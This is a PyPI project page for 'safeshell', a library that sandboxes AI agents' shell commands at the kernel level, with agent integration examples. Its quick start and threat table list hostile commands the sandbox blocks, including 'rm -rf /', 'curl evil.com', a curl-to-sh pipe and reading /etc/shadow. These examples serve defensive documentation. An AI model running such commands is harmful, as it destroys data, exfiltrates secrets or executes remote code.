Skip to main content

Secure, sandboxed bash tool access for AI agents

Project description

PyPI Python CI License Coverage

Secure, sandboxed shell for your AI agents.

Every AI developer eventually faces the same problem: How do I let my agent run code without destroying my machine?

safeshell solves this with a robust security model (Seatbelt on macOS, Landlock on Linux) that enforces isolation at the kernel level.

pip install safeshell

Quick Start

from safeshell import Sandbox

async with Sandbox("./project") as sb:
    # works: execution is isolated
    result = await sb.execute("ls -la")
    
    # blocked: can't delete system files (Kernel blocked)
    await sb.execute("rm -rf /") 
    
    # blocked: can't exfiltrate data (Network blocked)
    await sb.execute("curl evil.com")

AI Agent Integration

Safeshell comes with "batteries included" integrations for LangChain and PydanticAI.

Example 1: LangChain (Native)

from safeshell.integrations.langchain import ShellTool
from langchain.agents import AgentExecutor, create_tool_calling_agent

# Ready-to-use tool with safety defaults
tools = [ShellTool(cwd="./workspace")]

# Add to your agent
agent = create_tool_calling_agent(llm, tools, prompt)

Example 2: PydanticAI (Native)

from safeshell.integrations.pydantic_ai import create_shell_tool
from pydantic_ai import Agent

# Creates a typed tool function
shell_tool = create_shell_tool("./workspace")

agent = Agent(
    'openai:gpt-4',
    tools=[shell_tool],
    system_prompt="You are a coding assistant. Use the shell to run code.")

Security Model

Older sandboxes try to block "bad words" like rm -rf / using Regex. This is dangerous and bypassable. As noted in Sandboxing is a Networking Problem, true security requires isolating the process at the OS and Network layer, not just filtering commands.

Safeshell uses Kernel Enforcement.

Threat Safeshell Protection Mechanism
rm -rf / Blocked Kernel denies write access to /
`curl sh` Blocked
cat /etc/shadow Blocked Access blocked to sensitive paths
> ~/.bashrc Blocked Write denied outside workspace

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

safeshell-1.0.1.tar.gz (12.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

safeshell-1.0.1-py3-none-any.whl (16.6 kB view details)

Uploaded Python 3

File details

Details for the file safeshell-1.0.1.tar.gz.

File metadata

  • Download URL: safeshell-1.0.1.tar.gz
  • Upload date:
  • Size: 12.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for safeshell-1.0.1.tar.gz
Algorithm Hash digest
SHA256 975bdce33e2be3f8bf6bebb91a01b9fe248c4cf80ccdca8f43a924059b1ebe21
MD5 82445d897d33960a60b7c8f21918dee2
BLAKE2b-256 8647763397c0bc539982b61fafe118d23845fa2d7e4e0300d65fb419a88bc0e9

See more details on using hashes here.

Provenance

The following attestation bundles were made for safeshell-1.0.1.tar.gz:

Publisher: publish.yml on Khadka-Bishal/safeshell

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file safeshell-1.0.1-py3-none-any.whl.

File metadata

  • Download URL: safeshell-1.0.1-py3-none-any.whl
  • Upload date:
  • Size: 16.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for safeshell-1.0.1-py3-none-any.whl
Algorithm Hash digest
SHA256 c42bb7e1f5d10bfaa488a9f9fe265fed4cc4befd67bfe6526e7527f648c9d20b
MD5 4fa186cd32af9ebed5de612094ff1bb3
BLAKE2b-256 1e309dc4d76a75e415e88f64a0f95a8361a8b9ef5c0bca03837eb09c43a426ae

See more details on using hashes here.

Provenance

The following attestation bundles were made for safeshell-1.0.1-py3-none-any.whl:

Publisher: publish.yml on Khadka-Bishal/safeshell

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page